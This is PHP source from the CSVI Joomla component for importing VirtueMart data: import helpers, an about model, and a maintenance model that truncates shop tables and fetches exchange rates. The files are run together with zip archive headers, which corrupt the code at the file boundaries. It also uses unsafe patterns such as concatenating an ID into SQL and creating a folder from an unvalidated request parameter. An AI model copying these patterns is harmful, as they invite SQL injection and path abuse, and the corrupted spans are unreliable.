'options')))); // Use column headers as configuration $use_header = ($template->get('use_column_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_HEADER', $use_header)); // Refresh xml headers for every record $refresh_xml_headers = ($template->get('refresh_xml_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_REFRESH_XML_HEADER', $use_header)); // Skip first line $skip_first = ($template->get('skip_first_line', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SKIP_FIRST_LINE', $skip_first)); // Ignore non-existing products $ignore_non_exist = ($template->get('ignore_non_exist', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_IGNORE_NON_EXIST', $ignore_non_exist)); // Overwrite existing data $overwrite = ($template->get('overwrite_existing_data', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_OVERWRITE_EXISTING_DATA', $overwrite)); // Skip default value $skip_default = ($template->get('skip_default_value', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SKIP_DEFAULT_VALUE', $skip_default)); // Show preview $use_preview = ($template->get('show_preview', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_PREVIEW', $use_preview)); // Products // Unpublish products before import $unpublish = ($template->get('unpublish_before_import', 'product')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_UNPUBLISH_BEFORE_IMPORT', $unpublish)); // Categories // Append categories $append_cats = ($template->get('append_categories', 'product')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_APPEND_CATEGORIES', $append_cats)); // Images // General options $process_image = ($template->get('process_image', 'image', false)) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_PROCESS_IMAGE', $process_image)); // Create image name $create_name = ($template->get('auto_generate_image_name', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_CREATE_IMAGE_NAME', $create_name)); // Generate image name $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_BASED_ON', $template->get('type_generate_image_name', 'image'))); // Image name format $csvilog->addDebug(JText::sprintf('COM_CSVI_IMAGE_NAME_FORMAT', $template->get('auto_generate_image_name_ext', 'image'))); // Full image // Convert image $csvilog->addDebug(JText::sprintf('COM_CSVI_CONVERT_IMAGE', $template->get('convert_type', 'image'))); // Save images on server $on_server = ($template->get('save_images_on_server', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_SAVE_IMAGES_ON_SERVER', $on_server)); // Thumbnail image // Automatic thumbnail creation $auto_thumb = ($template->get('thumb_create', 'image')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_AUTOMATIC_THUMBS', $auto_thumb)); if ($auto_thumb == JText::_('COM_CSVI_YES')) { // Thumbnail format $csvilog->addDebug(JText::sprintf('COM_CSVI_FORMAT_THUMBS', $template->get('thumb_extension', 'image'))); // Thumbnail width x height $csvilog->addDebug(JText::sprintf('COM_CSVI_DIMENSION_THUMBS', $template->get('thumb_width', 'image'), $template->get('thumb_height', 'image'))); } // Show the file paths $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_PRODUCT_IMAGES', $template->get('file_location_product_images', 'path'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_CATEGORY_IMAGES', $template->get('file_location_category_images', 'path'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_FILE_PATH_MEDIA', $template->get('file_location_media', 'path'))); // Show the max execution time $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_MAX_EXECUTION_TIME', ini_get('max_execution_time'))); } /** * Unpublish products before import * * @copyright * @author RolandD * @todo * @see prepareImport() * @access private * @param * @return * @since 3.0 */ private function _unpublishProducts() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->update('#__virtuemart_products'); $query->set('published = 0'); $db->setQuery($query); if ($db->query()) $csvilog->addDebug(JText::_('COM_CSVI_PRODUCT_UNPUBLISH_BEFORE_IMPORT')); else $csvilog->addDebug(JText::_('COM_CSVI_COULD_NOT_UNPUBLISH_BEFORE_IMPORT'), true); } /** * Builds arrays of field names and default values to be used during the creation of the headers list * The creation of the headers from the data file may need to be carried out for every row when processing * XML files and so efficiency is important for performance. * * Note: The array supported_fields should not be used as the basis for these arrays because it is a list of * all available fields and some of these fields may not be mapped in the template. */ public function _fieldArrays() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $db = JFactory::getDBO(); $this->_supportedfields = array(); $this->_field_defaults = array(); $this->_field_published = array(); if ($template->get('use_column_headers', 'general')) { // Check if there are any avfields if (empty($this->_avfields)) { $option = $jinput->get('option'); $session = JFactory::getSession(); $this->_avfields = unserialize($session->get($option.'.avfields')); } $supportedfields = array_flip($this->_avfields); foreach ($supportedfields as $name => $value) { $this->_supported_fields[] = $name; $this->_field_defaults[strtolower($name)] = null; $this->_field_published[strtolower($name)] = 1; } } // Use the template fields assigned to the template else { $import_fields = $template->get('import_fields'); if (isset($import_fields['_selected_name'])) { $count = count($import_fields['_selected_name']); for ($rows = 0; $rows < $count; $rows++) { $this->_supported_fields[] = $import_fields['_selected_name'][$rows]; $this->_field_defaults[strtolower($import_fields['_selected_name'][$rows])] = $import_fields['_default_value'][$rows]; $this->_field_published[strtolower($import_fields['_selected_name'][$rows])] = $import_fields['_process_field'][$rows]; } } } // Create the inverted array used to lookup the field name using lowercase $this->_supportedfields = array(); foreach( $this->_supported_fields as $key => $value ) { $this->_supportedfields[strtolower($value)] = $key; } } /** * Get the configuration fields the user wants to use * * The configuration fields can be taken from the uploaded file or from * the database. Depending on the template settings. * * @copyright * @author RolandD * @todo Expand the no support fields message on line 398 * @see Templates() * @access private * @param * @return bool true|false true when there are config fields|false when there are no or unsupported fields * @since 3.0 */ private function _retrieveConfigFields($csvifile=false) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); if (!$csvifile) $csvifile = $jinput->get('csvifile', '', 'string'); if (empty($this->_supportedfields)) $this->_fieldArrays(); $columnheaders = $jinput->get('columnheaders', array(), 'array'); $csvifields = array(); $nosupport = array(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_LOAD_CONFIG_FIELDS')); if ($template->get('use_column_headers', 'general')) { // The user has column headers in the file $jinput->set('error_found', false); if ($columnheaders) { foreach ($columnheaders as $order => $name) { // Trim the name in case the name contains any preceding or trailing spaces $name = strtolower(trim($name)); // Check if the fieldname is supported // No special field checking for Product Type Names upload if (array_key_exists($name, $this->_supportedfields)) { $csvilog->addDebug('Field: '.$name); $mixed_name = $this->_supported_fields[$this->_supportedfields[$name]]; $csvifields[$mixed_name]['name'] = $mixed_name; $csvifields[$mixed_name]['order'] = $order; $csvifields[$mixed_name]['default_value'] = (array_key_exists($name, $this->_field_defaults)) ? $this->_field_defaults[$name] : null; $csvifields[$mixed_name]['published'] = (array_key_exists($name, $this->_field_published)) ? $this->_field_published[$name] : 'Y'; $csvifields[$mixed_name]['combine'] = false; $csvifields[$mixed_name]['replace'] = null; } else { // Check if the user has any field that is not supported if (strlen($name) == 0) $name = JText::_('COM_CSVI_FIELD_EMPTY'); // Field is not supported, let's skip it $csvifields[$name]['name'] = $name; $csvifields[$name]['order'] = $order; $csvifields[$name]['default_value'] = null; $csvifields[$name]['published'] = 'N'; $csvifields[$name]['combine'] = false; $csvifields[$name]['replace'] = null; // Unset the column header so we can check if any fields are left over unset($columnheaders[$order]); // Collect the fieldnames to report them $nosupport[] = $name; } } //if (empty($columnheaders)) { // $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_COLUMN_HEADERS_FOUND')); // $jinput->set('error_found', true); // return false; //} if (!empty($nosupport)) { // Ensure the error message matches the file type switch($csvifile->extension) { case 'xml': case 'sql': $csvilog->AddStats('nosupport', implode(',', $nosupport).JText::_('COM_CSVI_FIELD_NOT_INCLUDED')); break; default: $csvilog->AddStats('nosupport', JText::sprintf('COM_CSVI_NO_SUPPORT', '
      • '.implode('
      • ', $nosupport).'
      ')); break; } $csvilog->AddStats('information', JText::_('COM_CSVI_UNSUPPORTED_FIELDS')); } $csvilog->addDebug(JText::_('COM_CSVI_USING_FILE_FOR_CONFIGURATION')); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_COLUMN_HEADERS_FOUND')); $jinput->set('error_found', true); return false; } } // Use the fields assigned to the template else { $fields = $template->get('import_fields'); if (!empty($fields)) { foreach ($fields['_selected_name'] as $fid => $name) { // Check if we are handling a combine field if ($name == 'combine') $name .= $fid; // Collect the data $csvifields[$name]['name'] = $name; $csvifields[$name]['order'] = $fid; $csvifields[$name]['default_value'] = $fields['_default_value'][$fid]; $csvifields[$name]['published'] = $fields['_process_field'][$fid]; $csvifields[$name]['combine'] = $fields['_combine_field'][$fid]; $csvifields[$name]['replace'] = $fields['_replace_field'][$fid]; if (!$csvifields[$name]['published']) $name .= ' ('.JText::_('COM_CSVI_FIELD_SKIPPED').')'; $csvilog->addDebug(JText::sprintf('COM_CSVI_IMPORT_FIELD', $name)); } $csvilog->addDebug(JText::_('COM_CSVI_USE_DATABASE_FOR_CONFIGURATION')); } else { $csvilog->AddStats('incorrect', JText::_('NO_COLUMN_HEADERS_FOUND')); return false; } } // Make the fields to process global $jinput->set('csvifields', $csvifields); return true; } /** * Handle the end of the import * * @copyright * @author RolandD * @todo Optimize adding ID to session * @see * @access private * @param * @return * @since 3.0 */ public function finishProcess($finished=false) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvifile = $jinput->get('csvifile', null, null); $csvilog = $jinput->get('csvilog', null, null); // Adjust the current line, since it is not processing $jinput->set('currentline', $jinput->get('currentline', 0, 'int')-1); // Session init $session = JFactory::getSession(); $option = $jinput->get('option'); if ($finished) { // Close the file if (is_object($csvifile)) $csvifile->closeFile(true); // Clean the session $this->getCleanSession(); // Add the ID to the session as we need it for the redirect to the result page $session->set($option.'.run_id', $csvilog->getId()); $jinput->set('run_id', $csvilog->getId()); } else { // Flush the log details // Store the log results first $log = $this->getModel('log'); $log->getStoreLogResults(); // Create session variables $session->set($option.'.global.template', serialize($template)); $session->set($option.'.csvicolumnheaders', serialize($jinput->get('columnheaders', null, 'array'))); $session->set($option.'.csvifields', serialize($this->_csvifields)); $session->set($option.'.csvifile', serialize($csvifile)); $session->set($option.'.csvilog', serialize($csvilog)); $session->set($option.'.filepos', serialize($csvifile->getFilePos())); $session->set($option.'.recordsprocessed', serialize($jinput->get('recordsprocessed', 0, 'int'))); $session->set($option.'.totalline', serialize($jinput->get('currentline', 0, 'int') + $jinput->get('totalline', 0, 'int'))); // Close the file $csvifile->closeFile(false); } } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Load some settings we need for the functions * This will make the data available to the child product * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ protected function loadSettings() { $jinput = JFactory::getApplication()->input; // Load the settings $template = $jinput->get('template', null, null); $this->_avfields = $jinput->get('avfields', array(), 'array'); $this->_skip_default_value = $template->get('skip_default_value', 'general'); // Set the last field, needed for the combine function $this->_lastfield = end($jinput->get('csvifields', array(), 'array')); } /** * Load the data to import * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.4 */ protected function loadData() { $jinput = JFactory::getApplication()->input; $this->csvi_data = $jinput->get('csvi_data', null, null); } /** * Get the product currency from the vendor * * If the user does not use product currency we take the one from the current vendor * * @copyright * @author RolandD * @todo * @see * @access private * @param integer $vendor_id the database ID of the vendor * @return string the 3 letter product currency * @since 3.0 */ protected function productCurrency($vendor_id) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_CURRENCY')); if (array_key_exists($vendor_id, $this->_vendor_currencies)) { $product_currency = strtoupper($this->_vendor_currencies[$vendor_id]); } else { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('vendor_currency'); $query->from('#__virtuemart_vendors'); $query->where('virtuemart_vendor_id = '.$vendor_id); $db->setQuery($query); $product_currency = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_PRODUCT_CURRENCY'), true); // Add the vendor currency to the cache $this->_vendor_currencies[$vendor_id] = $product_currency; } return $product_currency; } /** * Validate input data * * Checks if the field has a value, if not check if the user wants us to * use the default value * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $fieldname the fieldname to validate * @param int $replaceid the ID of the replacement rule * @return true returns validated value | return false if the column count does not match * @since */ protected function validateInput($fieldname, $replaceid=null) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $newvalue = ''; // Check if the user wants ICEcat data if ($template->get('use_icecat', 'product', false, 'bool') && !empty($this->icecat_data) && (array_key_exists($fieldname, $this->icecat_data))) { $csvilog->addDebug(JText::sprintf('COM_CSVI_USE_ICECAT_FIELD', $fieldname)); $newvalue = $this->icecat_data[$fieldname]; } else if (isset($this->_csvifields[$fieldname])) { // Check if the field has a value if (array_key_exists($this->_csvifields[$fieldname]["order"], $this->csvi_data) && strlen($this->csvi_data[$this->_csvifields[$fieldname]["order"]]) > 0) { $csvilog->addDebug(JText::_('COM_CSVI_USE_FIELD_VALUE')); $newvalue = trim($this->csvi_data[$this->_csvifields[$fieldname]["order"]]); } // Field has no value, check if we can use default value else if (!$this->_skip_default_value) { $csvilog->addDebug(JText::_('COM_CSVI_USE_DEFAULT_VALUE')); $newvalue = $this->_csvifields[$fieldname]["default_value"]; } else { $csvilog->addDebug(JText::_('COM_CSVI_USE_NO_VALUE')); return ''; } } else return false; // Replace the value and return if (!empty($newvalue) && !empty($replaceid)) return CsviHelper::replaceValue($replaceid, $newvalue); else return $newvalue; } /** * Replace commas with periods for correct DB insertion of the prices * * @copyright * @author RolandD * @todo Handle multiple separators by removing them * @see * @access protected * @param string $value the value to clean up * @return string the cleaned up value with dots as separator * @since 3.0 */ protected function toPeriod($value) { $clean = str_replace(",", ".", $value); $lastpos = strrpos($clean, '.'); return str_replace('.', '' , substr($clean, 0, $lastpos)).substr($clean, $lastpos); } /** * Format a datetime format * * Format of the date is day/month/year or day-month-year. * * @copyright * @author RolandD * @todo use JDate * @see * @access protected * @param string $date the date to convert * @return integer UNIX timestamp if date is valid otherwise return 0 * @since */ protected function convertDate($date) { $new_date = preg_replace('/-|\./', '/', $date); $date_parts = explode('/', $new_date); if ((count($date_parts) == 3) && ($date_parts[0] > 0 && $date_parts[0] < 32 && $date_parts[1] > 0 && $date_parts[1] < 13 && (strlen($date_parts[2]) == 4))) { $old_date = mktime(0,0,0,$date_parts[1],$date_parts[0],$date_parts[2]); } else $old_date = 0; $date = JFactory::getDate($old_date); return $date->toMySQL(); } /** * Add the query statistics to the log * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function queryResult() { $db = JFactory::getDBO(); return substr($db->getQuery(), 0, strpos($db->getQuery(),' ')); } /** * Clean up a price to only exist of numbers * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $price the price to clean * @return float cleaned up price * @since */ protected function cleanPrice($price) { return JFilterInput::clean($this->toPeriod($price), 'float'); } /** * Load the ICEcat data for a product * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getIcecat() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); if ($template->get('use_icecat', 'product')) { $csvilog = $jinput->get('csvilog', null, null); // Load the ICEcat helper if (is_null($this->_icecat)) $this->_icecat = new IcecatHelper(); // Clean the data holder $this->icecat_data = null; // Check conditions // 1. Do we have an MPN $mpn = $this->validateInput($template->get('mpn_column_name', 'product', 'product_sku')); if ($mpn) { $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_REFERENCE', $mpn)); // 2. Do we have a manufacturer name $mf_name = $this->validateInput('manufacturer_name'); $csvilog->addDebug(JText::sprintf('COM_CSVI_ICECAT_FOUND_MF_NAME', $mf_name)); if ($mf_name) { // Load the ICEcat data $this->icecat_data = $this->_icecat->getData($mpn, $mf_name); } else { $csvilog->addDebug(JText::_('COM_CSVI_ICECAT_NO_MANUFACTURER')); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_ICECAT_NO_REFERENCE')); return false; } } return false; } /** * Set a field to combine * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $data the data to be combined * @param string $fieldname the name of the current field * @return * @since 3.0 */ protected function setCombineField($data, $fieldname=null) { if (!empty($data)) { // Add the data to the array $this->combine_fields[] = $data; // Set the fieldname the data is for if (empty($this->combine_settings['fieldname'])) $this->combine_settings['fieldname'] = $fieldname; switch ($fieldname) { case 'category_path': $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->combine_settings['separator'] = $template->get('category_separator', 'general', '/'); break; } } } /** * Get the combined fields * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return string the space separated combined data * @since 3.0 */ protected function getCombineField() { // Get the combined data $data = implode($this->combine_settings['separator'], $this->combine_fields); // Empty some settings $this->combine_fields = array(); $this->combine_settings['fieldname'] = null; $this->combine_settings['separator'] = ' '; // Return the data return $data; } }PK@y>\]L$components/com_csvi/models/about.phpnuW+AgetValue('config.tmp_path'), '/'); $folders = array(); $root = JPath::clean(JPATH_ROOT, '/'); $folders[$tmp_path] = JFolder::exists($tmp_path); $folders[CSVIPATH_TMP] = JFolder::exists(CSVIPATH_TMP); $folders[CSVIPATH_DEBUG] = JFolder::exists(CSVIPATH_DEBUG); return $folders; } /** * Create missing folders * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function createFolder() { $app = JFactory::getApplication(); jimport('joomla.filesystem.folder'); $folder = str_ireplace(JPATH_ROOT, '', JRequest::getVar('folder')); return JFolder::create($folder); } } ?>PK@y>\4u*components/com_csvi/models/maintenance.phpnuW+Ainput; // Start the log $csvilog = new CsviLog(); $import_id = $csvilog->setId(); $csvilog->SetAction('Maintenance'); $csvilog->SetActionType($jinput->get('task').'_LABEL'); $jinput->set('import_id', $import_id); $jinput->set('csvilog', $csvilog); } /** * Finish up maintenance * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.3 */ public function getFinishProcess() { // Load the session data $jinput = JFactory::getApplication()->input; // See if we have the csvilog $csvilog = $jinput->get('csvilog', null, null); // If not, then check the session if (empty($csvilog)) { $session = JFactory::getSession(); $option = $jinput->get('option'); $csvilog = unserialize($session->get($option.'.csvilog')); $jinput->set('csvilog', $csvilog); } // Store the log $model_log = $this->getModel('log'); $model_log->getStoreLogResults(); } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Empty VirtueMart tables * * @copyright * @author RolandD * @todo Write out product type tables that get deleted * @see * @access public * @param * @return * @since 3.0 */ public function getEmptyDatabase() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; jimport('joomla.language.helper'); $languages = array_keys(JLanguageHelper::getLanguages('lang_code')); $tables = $db->getTableList(); // Empty all the necessary tables $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_products`;"; $db->setQuery($q); $csvilog->addDebug('Empty product table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_TABLE_HAS_NOT_BEEN_EMPTIED')); foreach ($languages as $language) { $table = $db->getPrefix().'virtuemart_products_'.strtolower(str_replace('-', '_', $language)); if (in_array($table, $tables)) { $q = "TRUNCATE TABLE ".$db->quoteName($table).";"; $db->setQuery($q); $csvilog->addDebug('Empty product language table', true); if ($db->query()) $csvilog->AddStats('empty', JText::sprintf('COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_BEEN_EMPTIED', $language)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED', $language)); } } $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty product category link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_customfields`;"; $db->setQuery($q); $csvilog->addDebug('Empty product custom fields table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_downloads`;"; $db->setQuery($q); $csvilog->addDebug('Empty product downloads table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_manufacturers`;"; $db->setQuery($q); $csvilog->addDebug('Empty product manufacturer link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_medias`;"; $db->setQuery($q); $csvilog->addDebug('Empty product medias table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_prices`;"; $db->setQuery($q); $csvilog->addDebug('Empty product price table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_PRICE_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_PRICE_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_relations`;"; $db->setQuery($q); $csvilog->addDebug('Empty product relations table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_product_shoppergroups`;"; $db->setQuery($q); $csvilog->addDebug('Empty product shoppergroups table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty category table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_TABLE_HAS_NOT_BEEN_EMPTIED')); foreach ($languages as $language) { $table = $db->getPrefix().'virtuemart_categories_'.strtolower(str_replace('-', '_', $language)); if (in_array($table, $tables)) { $q = "TRUNCATE TABLE ".$db->quoteName($table).";"; $db->setQuery($q); $csvilog->addDebug('Empty category language table', true); if ($db->query()) $csvilog->AddStats('empty', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_BEEN_EMPTIED', $language)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED', $language)); } } $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_category_categories`;"; $db->setQuery($q); $csvilog->addDebug('Empty category link table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED')); $csvilog->setLinenumber($linenumber++); $q = "TRUNCATE TABLE `#__virtuemart_category_medias`;"; $db->setQuery($q); $csvilog->addDebug('Empty category medias table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED')); // Get the lowest manufacturer ID $q = "SELECT MIN(virtuemart_manufacturer_id) AS mf_id FROM ".$db->quoteName('#__virtuemart_manufacturers'); $db->setQuery($q); $mf_id = $db->loadResult(); // Delete anything higher than the lowest ID $csvilog->setLinenumber($linenumber++); $q = "DELETE FROM `#__virtuemart_manufacturers` WHERE virtuemart_manufacturer_id > ".$mf_id; $db->setQuery($q); $csvilog->addDebug('Empty manufacturer table', true); if ($db->query()) $csvilog->AddStats('empty', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_EMPTIED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_EMPTIED')); // Optimize the table $csvilog->setLinenumber($linenumber++); $q = "OPTIMIZE TABLE ".$db->quoteName('#__virtuemart_manufacturers'); $db->setQuery($q); if ($db->query()) $csvilog->AddStats('information', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_OPTIMIZED')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_OPTIMIZED')); // Reset the auto increment $csvilog->setLinenumber($linenumber++); $q = "ALTER TABLE ".$db->quoteName('#__virtuemart_manufacturers')." AUTO_INCREMENT = ".($mf_id+1); if ($db->query()) $csvilog->AddStats('information', JText::_('COM_CSVI_MANUFACTURER_AUTO_INCREMENT_RESET')); else $csvilog->AddStats('incorrect', JText::_('COM_CSVI_MANUFACTURER_AUTO_INCREMENT_NOT_RESET')); // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); return true; } /** * Optimize CSVI VirtueMart and VirtueMart tables * * @todo clean up messages */ public function getOptimizeTables() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; $tables = $db->getTableList(); foreach ($tables as $id => $tablename) { $csvilog->setLinenumber($linenumber++); $q = "OPTIMIZE TABLE ".$tablename; $db->setQuery($q); if ($db->query()) $csvilog->AddStats('information', JText::sprintf('COM_CSVI_TABLE_HAS_BEEN_OPTIMIZED', $tablename)); else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_TABLE_HAS_NOT_BEEN_OPTIMIZED', $tablename)); } // Store the log count $linenumber--; $jinput->set('logcount', $linenumber); return true; } /** * Add exchange rates * The eurofxref-daily.xml file is updated daily between 14:15 and 15:00 CET * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getExchangeRates() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); $linenumber = 1; // Read eurofxref-daily.xml file in memory $XMLContent= file("http://www.ecb.europa.eu/stats/eurofxref/eurofxref-daily.xml"); // Process the file if ($XMLContent) { // Empty table $q = "TRUNCATE TABLE `#__csvi_currency`;"; $db->setQuery($q); $db->query(); // Add the Euro $q = "INSERT INTO #__csvi_currency (currency_code, currency_rate) VALUES ('EUR', 1)"; $db->setQuery($q); $db->query(); $currencyCode = array(); $rate = array(); foreach ($XMLContent as $line) 